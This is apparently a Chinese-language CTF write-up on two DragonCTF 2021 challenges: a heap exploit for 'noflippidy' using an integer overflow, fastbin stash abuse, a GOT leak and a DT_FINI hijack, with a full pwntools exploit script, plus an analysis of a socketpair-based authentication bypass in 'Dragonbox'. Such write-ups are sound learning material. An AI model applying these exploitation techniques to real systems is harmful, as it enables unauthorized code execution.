DragonCTF-noflippidy-WP

Posted on Nov 29, 2021

昨天的 DragonCTF 中出现了一道改编自 DiceCTF 2021 flippidy 的题,原题是一道比较传统的堆题,此题进行了一个小 patch,想要执行原先的漏洞函数,需要满足 fs:0x28 也就是 canary 为 0。很遗憾,比赛的时候草草的看了一眼以为是有什么我不知道的黑魔法可以实现修改 canary 就放弃了,并没有看出漏洞点(说起来这个洞应该挺明显的,没看出来也是挺奇怪的,可能是被概率论期中考弄坏脑子了)。

  max_notes = get_int();
  notebook_ptr = malloc(8 * max_notes);
  memset(notebook_ptr, 0, 8 * max_notes);

赛后看了 wp 之后,才知道可以通过这里的 8 * max_notes 的整数溢出实现越界写。

另外,有趣的是,我们可以通过控制 malloc 的大小,使它返回 mmaped 的 chunk,这个 chunk 是可以和 libc 紧邻的(根据大小不同,也可能和 ld 紧邻)。由于没有研究过 mmap 的机制,具体原理我也不太清楚。

比如这样就可以实现分配一个紧邻 libc 的内存段了

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
 
sh = process("./noflippidy")
libc = ELF("./libc.so.6")
elf = ELF("./noflippidy")
#sh = remote()

def add(index, payload):
    sh.sendlineafter(": ", '1')
    sh.sendlineafter("Index: ", str(index))
    sh.sendafter("Content: ", payload)

sh.sendlineafter("will be: ", str(0x40800000))
base_idx = 0x4001000 // 8

然后就可以越界写 libc 和 ld 中的任意地址了。

然而到现在能做的还是很少,我们只能分配 0x40 大小的 chunk,并且可以向 libc 和 ld 中写入 heap 地址。那么可以考虑攻击 fastbin 或 tcache。直接写 tcache 变量可以劫持整个 tcache_perthread_struct 到我们可控的地方,然后实现任意地址分配。不过由于我们一次只能申请 0x40 大小的 chunk,伪造起来会比较麻烦。使用 fastbin 也可以实现任意地址分配,这里比较重要的是利用了 2.27 之后 fastbin stash 时,stash 进 tcache 时没有检测目标的 size 字段,这样就使我们绕过 fastbin 对目标 chunk 的 size 字段的检测了,只需要满足目标 chunk 的 fd 为 0 就可以了(不然就会继续 stash,很可能会崩溃)。

fastbinY_idx = 0x3EBC50 // 8

payload = p64(0) + p64(0x41) + p64(0x404000) + '\n'
add(base_idx + fastbinY_idx, payload)

add(0, '\n')
add(1, '\x00' * 0x10 + p64(elf.got["malloc"]) + '\n')
  
sh.recvuntil("\n\n")
libc_base = u64(sh.recv(6).ljust(8, '\x00')) - libc.sym["malloc"]
one_gadget = libc_base + 0x4f432
log.success("libc_base: " + hex(libc_base))

覆写 fastbinY[2] 为返回给我们的 chunk 的地址之后,第一个 fastbin 就完全由我们伪造了,伪造它的 fd 即可任意地址分配。然后又由于输出 menu 时,使用了一个 char* 数组,我们只要劫持其中的某一个指针指向 got 表即可在 menu 函数执行时直接实现 leak,我这里分配到了 0x404000 处,覆写为 malloc@got 的地址即可。

最后,由于我们可以向 ld 中写入地址,同时还可以调用 exit(0),所以可以劫持 l->l_info[DT_FINI] 来实现任意函数调用,这种方法之前没了解过,这里记录一下。具体的,在 _dl_init 函数中,存在这个流程

		      if (ELF_INITFINI && l->l_info[DT_FINI] != NULL)
			DL_CALL_DT_FINI
			  (l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);

DL_CALL_DT_FINI 的定义为

# define DL_CALL_DT_FINI(map, start) ((fini_t) (start)) ()

可见这个劫持了 d_un.d_ptr 后这个原语就可以实现任意函数调用了。

l->l_info[DT_FINI] 的偏移是怎么算的我也没搞清楚,我是通过动调得出的。不过我懒得手动编译一个源码调了,就 ida 反汇编了一下勉强看着才找到的,对照源码

		      /* First see whether an array is given.  */
		      if (l->l_info[DT_FINI_ARRAY] != NULL)
			{
			  ElfW(Addr) *array =
			    (ElfW(Addr) *) (l->l_addr
					    + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
			  unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
					    / sizeof (ElfW(Addr)));
			  while (i-- > 0)
			    ((fini_t) array[i]) ();
			}

		      /* Next try the old-style destructor.  */
		      if (ELF_INITFINI && l->l_info[DT_FINI] != NULL)
			DL_CALL_DT_FINI
			  (l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);
		    }

可以知道在反编译的伪代码中

              do
                (*v16--)(&unk_22A968);
              while ( v16 != v22 );
            }
            v17 = v12[21];
            if ( v17 )
LABEL_26:
              ((void (__fastcall *)(void *, __int64, __int64, __int64))(*v12 + *(_QWORD *)(v17 + 8)))(
                &unk_22A968,
                v9,
                v10,
                v11);

v17 就是 l->l_info[DT_FINI] 了,所以

.text:0000000000010D1D 058 49 8B 85 A8 00 00 00                    mov     rax, [r13+0A8h]

r13 + 0xA8 就是目标了。

完整的 exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
 
sh = process("./noflippidy")
libc = ELF("./libc.so.6")
elf = ELF("./noflippidy")
#sh = remote()

def add(index, payload):
    sh.sendlineafter(": ", '1')
    sh.sendlineafter("Index: ", str(index))
    sh.sendafter("Content: ", payload)

sh.sendlineafter("will be: ", str(0x40800000))
base_idx = 0x4001000 // 8

fastbinY_idx = 0x3EBC50 // 8

payload = p64(0) + p64(0x41) + p64(0x404000) + '\n'
add(base_idx + fastbinY_idx, payload)

add(0, '\n')
add(1, '\x00' * 0x10 + p64(elf.got["malloc"]) + '\n')

sh.recvuntil("\n\n")
libc_base = u64(sh.recv(6).ljust(8, '\x00')) - libc.sym["malloc"]
one_gadget = libc_base + 0x4f432
log.success("libc_base: " + hex(libc_base))
 

payload = p64(0) + p64(one_gadget) + '\n'
add(0x461D218 // 8 - 2, payload)
sh.sendlineafter(": ", '3')
#gdb.attach(proc.pidof(sh)[0])
 
sh.interactive()

这应该算是原题的一个非预期解,出成了题目还是很有意思的。ld 相关的利用我接触的也不是很多,不太熟,这里也算是学到了劫持 l->l_info[DT_FINI] 的这种利用方法了。

Dragonbox

顺带提一下这题,比赛时我甚至没打开附件看一下,赛后看了一下 wp,发现这个题还是能给我们一点反思的。漏洞点比较明显

static void set_user(const char* username, const char* password) {
    if (!password) {
        /* Disallow empty pass for security reasons */
        password = "default";
    }
    strcpy(g_username, username);
    strcpy(g_password, password);
}

static bool get_user(int fd) {
    char buf[sizeof(g_username) + 1/*':'*/ + sizeof(g_password)] = { 0 };
    while (1) {
        ssize_t x = read(fd, buf, sizeof(buf) - 1);
        if (x < 0) {
            if (errno == EINTR || errno == EAGAIN) {
                sched_yield();
                continue;
            }
            return false;
        } else if (x == 0) {
            return false;
        }
        if (buf[x - 1] == '\n') {
            buf[x - 1] = 0;
        }
        break;
    }
    char* username = buf;
    char* password = strchr(buf, ':');
    if (password) {
        *password++ = 0;
    }
    set_user(username, password);
    return true;
}

就是在 set_user 时,可以通过 password 向后溢出,不过溢出只能做到修改 g_flags 这个变量

.bss:0000000000005180 ?? ?? ?? ?? ?? ?? ?? ??+    g_password      db 100h dup(?)          ; DATA XREF: set_user+40o
.bss:0000000000005180 ?? ?? ?? ?? ?? ?? ?? ??+                                            ; handle_connection+F4o
.bss:0000000000005280                             ; int g_flags
.bss:0000000000005280 ?? ?? ?? ??                 g_flags         dd ?                    ; DATA XREF: spawn_daemon+Cr
.bss:0000000000005280                                                                     ; main+58r ...
.bss:0000000000005284 ?? ?? ?? ??                                 align 8

此变量只在和用户建立连接和 spawn_daemon 中被用到

    int x = socketpair(AF_UNIX, SOCK_STREAM | g_flags, 0, g_daemon_fds);

这里与“验证服务器”建立了连接,检测用户有没有权利读取 flag。对于 socketpair,man 中说到

RETURN VALUE
       On success, zero is returned.  On error, -1 is returned, errno is set appropriately, and sv is left unchanged

       On  Linux  (and other systems), socketpair() does not modify sv on failure.  A requirement standardizing this behavior
       was added in POSIX.1-2016.

也就是当执行失败的时候,g_daemon_fds 是不变的,但是实际上,似乎是会变的

# chuj @ ubuntu in ~/com/dragonctf/Dragonbox [4:02:12] 
$ cat test.c 
#include <stdio.h>
#include <sys/socket.h>

int fds[2];

int main()
{
    int x = socketpair(AF_UNIX, SOCK_DGRAM | SOCK_SEQPACKET, 0, fds);
    printf("x:%d\nfds[0]:%d\nfds[1]:%d\n", x, fds[0], fds[1]);
    x = socketpair(AF_UNIX, SOCK_STREAM, 0, fds);
    printf("x:%d\nfds[0]:%d\nfds[1]:%d\n", x, fds[0], fds[1]);
    return 0;
}


# chuj @ ubuntu in ~/com/dragonctf/Dragonbox [4:05:12] 
$ gcc test.c

# chuj @ ubuntu in ~/com/dragonctf/Dragonbox [4:05:13] 
$ ./a.out              
x:-1
fds[0]:3
fds[1]:4
x:0
fds[0]:3
fds[1]:4

并且成功打开后还是会使用原来的 fd。但是实际上并没有真正生成“验证服务器”。由此我们就可以多次连接到服务器,伪造一个服务器,发送 yes 绕过检测读出 flag。

reference

dragonbox

noflippidy